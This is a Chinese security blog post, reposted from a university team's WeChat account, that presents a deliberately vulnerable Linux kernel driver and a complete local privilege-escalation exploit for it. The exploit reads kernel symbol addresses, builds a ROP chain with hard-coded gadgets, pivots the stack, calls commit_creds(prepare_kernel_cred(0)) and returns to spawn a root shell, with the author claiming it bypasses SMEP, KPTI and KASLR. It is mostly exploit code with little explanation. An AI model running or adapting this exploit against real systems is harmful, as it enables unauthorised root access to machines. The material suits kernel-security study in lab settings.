简单提权

admin 2022年4月29日18:49:48评论20 views字数 4450阅读14分50秒阅读模式

随便水一篇吧

直接上代码:

  1. static int device_open(struct inode *, struct file *);

  2. static long device_ioctl(struct file *, unsigned int, unsigned long);

  3. static int device_release(struct inode *, struct file *f);


  4. static struct class *class;

  5. unsigned long *ops[3];

  6. static int major_no;


  7. static struct file_operations fops = {

  8. .open = device_open,

  9. .release = device_release,

  10. .unlocked_ioctl = device_ioctl

  11. };



  12. static int device_release(struct inode *i, struct file *f) {

  13. printk(KERN_INFO "device released!n");

  14. return 0;

  15. }


  16. static int device_open(struct inode *i, struct file *f) {

  17. printk(KERN_INFO "device opened!n");

  18. return 0;

  19. }


  20. static long device_ioctl(struct file *file, unsigned int cmd, unsigned long args) {

  21. struct drv_req *req;

  22. void (*fn)(void);


  23. switch(cmd) { //这里必须为0

  24. case 0:

  25. req = (struct drv_req *)args; //漏洞点

  26. printk(KERN_INFO "size = %lxn", req->offset);

  27. printk(KERN_INFO "fn is at %pn", &ops[req->offset]);

  28. fn = &ops[req->offset]; //漏洞点,溢出。

  29. fn(); //漏洞很明显,直接任意代码执行,但只有一句,所以我们要扩大利用面

  30. break;

  31. default:

  32. break;

  33. }


  34. return 0;

  35. }


  36. static int m_init(void) {

  37. printk(KERN_INFO "addr(ops) = %pn", &ops);

  38. major_no = register_chrdev(0, DEVICE_NAME, &fops);

  39. class = class_create(THIS_MODULE, DEVICE_NAME);

  40. device_create(class, NULL, MKDEV(major_no, 0), NULL, DEVICE_NAME);


  41. return 0;

  42. }


  43. static void m_exit(void) {

  44. device_destroy(class, MKDEV(major_no, 0));

  45. class_unregister(class);

  46. class_destroy(class);

  47. unregister_chrdev(major_no, DEVICE_NAME);

  48. printk(KERN_INFO "Driver unloadedn");

  49. }


  50. module_init(m_init);

  51. module_exit(m_exit);


  52. MODULE_LICENSE("GPL");

漏洞很简单,内核执行了我们在ops地址偏移一定位置的代码。直接上代码。

  1. struct drv_req {

  2. unsigned long offset;

  3. }req;//创建结构体,方便内核读取数据



  4. void shell(){

  5. system("/bin/sh");

  6. }


  7. size_t user_cs, user_ss, user_rflags, user_sp, ops;

  8. void save_status()

  9. {

  10. __asm__("mov user_cs, cs;"

  11. "mov user_ss, ss;"

  12. "mov user_sp, rsp;"

  13. "pushf;"

  14. "pop user_rflags;"

  15. );

  16. puts("[*]status has been saved.");

  17. }//首先从ctfwiki拷贝一份内核保存用户地址的代码




  18. void find_ops(){

  19. FILE *fd;

  20. fd=fopen("/sys/module/drv/sections/.bss","r");

  21. if(!fd)exit(0);

  22. fscanf(fd,"%p",&ops);

  23. printf("find ops:%pn",ops);

  24. fclose(fd);

  25. return;

  26. }//在内核中获取我们驱动的漏洞点地址

  27. unsigned long find_sym(char * name){

  28. FILE *fd;

  29. int ret;

  30. unsigned long addr;

  31. char flag,sym[1024];

  32. fd = fopen("/proc/kallsyms","r");

  33. printf("open kallsymsn");

  34. if(!fd)return 0;

  35. do{

  36. ret = fscanf(fd,"%p %c %sn",&addr,&flag,sym);

  37. if(!strcmp(name,sym)){

  38. printf("%saddr is:%pn",sym,addr);

  39. fclose(fd);

  40. return addr;

  41. }

  42. }while(ret!=EOF);

  43. printf("can not findn");

  44. fclose(fd);

  45. return 0;

  46. }//在内核中获取函数的地址


  47. int main(){

  48. int f;

  49. find_ops();

  50. //一些gadget

  51. unsigned long * fake_stack,mmap_stack;

  52. unsigned long * stack;

  53. unsigned long xchg_esp_eax_ret_0x61e8=0xffffffff81735478;

  54. unsigned long xchg_esp_eax_ret=0xffffffff81000085;

  55. unsigned long pop_rdi=0xffffffff8119e39d;


  56. unsigned long xchg_rcx_rax_ret=0xffffffff81926310;

  57. unsigned long push_rax_pop_rcx_pop_rbp_ret=0xffffffff8101c97c;


  58. unsigned long prepare_kernel_cred = find_sym("prepare_kernel_cred");

  59. unsigned long push_rbp_pop_rdi_ret=0xffffffff811d38e7;

  60. unsigned long push_rax_pop_rbp_ret=0xffffffff8105f17b;

  61. unsigned long pop_rcx_ret=0xffffffff810055dc;

  62. unsigned long commit_creds=find_sym("commit_creds");

  63. unsigned long pop_rsp_ret=0xffffffff813fe41a;

  64. unsigned long pop_rax_ret=0xffffffff8100b62e;

  65. unsigned long swapgs_pop_rbp_ret=0xffffffff81051744;

  66. unsigned long iretq=0xffffffff81733140;





  67. fake_stack=(int)xchg_esp_eax_ret_0x61e8&0xffffffff;

  68. mmap_stack=(int)fake_stack&0xffff0000;

  69. printf("fake_stack :%pn",fake_stack);

  70. printf("offset :%pn",xchg_esp_eax_ret_0x61e8-ops);

  71. printf("offset int:%pn",(xchg_esp_eax_ret_0x61e8-ops)/8);

  72. req.offset = (unsigned long)(xchg_esp_eax_ret_0x61e8-ops)/8;//核心,进行栈迁移

  73. stack = mmap(mmap_stack,0x100000,7,0x32,0,0);

  74. printf("stack is :%pnfake_stack is :%p",stack,fake_stack);


  75. //接下来构造内核使用的栈,这是个自己构造的栈

  76. fake_stack=(unsigned long *)fake_stack;

  77. *fake_stack = 0;//无用,跳转过来从下一条执行

  78. *fake_stack++= pop_rdi;

  79. fake_stack+=0x61e8/8;

  80. *fake_stack++=0;

  81. *fake_stack++=prepare_kernel_cred;//执行prepare_kernel_cred(0)

  82. *fake_stack++=push_rax_pop_rbp_ret;

  83. *fake_stack++=pop_rcx_ret;

  84. *fake_stack++=0xffffffffecccd3df;

  85. *fake_stack++=pop_rax_ret;

  86. *fake_stack++=fake_stack+3;

  87. *fake_stack++=push_rbp_pop_rdi_ret;

  88. *fake_stack++=xchg_esp_eax_ret;

  89. *fake_stack++=commit_creds;//执行commit_creds(prepare_kernel_cred(0))

  90. *fake_stack++=swapgs_pop_rbp_ret;//接下来返回用户空间拿高权限shell

  91. *fake_stack++=fake_stack;

  92. *fake_stack++=iretq;

  93. *fake_stack++=shell;







  94. f=open(DEVICE_PATH,O_RDONLY);

  95. if (f == -1) {

  96. perror("open");

  97. }

  98. save_status();


  99. *fake_stack++=user_cs;

  100. *fake_stack++=user_rflags;

  101. *fake_stack++=user_sp;

  102. *fake_stack++=user_ss;


  103. ioctl(f, 0, &req);


  104. }

ok了,代码就是这么简单,但这里注明,此exp咬合非常紧,除了fakestack第一句可以填随意数据外,其他数据不要篡改。实测,能绕过大部分安全措施,包括smepkptikaslr(这个测试是可以的,但总感觉有问题)。但因为环境缺少源代码,盲猜FGKASLR没办法绕过(没试过,因为内核已经生产,没有完整的配置文件),其中难以绕过的点是smapkptrrestrict,本来有个思路能进行一部分绕过的,但我查了1星期多才发现,这个漏洞被x86_64架构堵上了,在64位没办法使用,在32位下有可能进行绕过,以后再想其他办法。有什么问题可以直接联系我

有什么问题可以直接联系我

简单提权

原文始发于微信公众号(广软NSDA安全团队):简单提权

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月29日18:49:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   简单提权http://cn-sec.com/archives/962971.html

发表评论

匿名网友 填写信息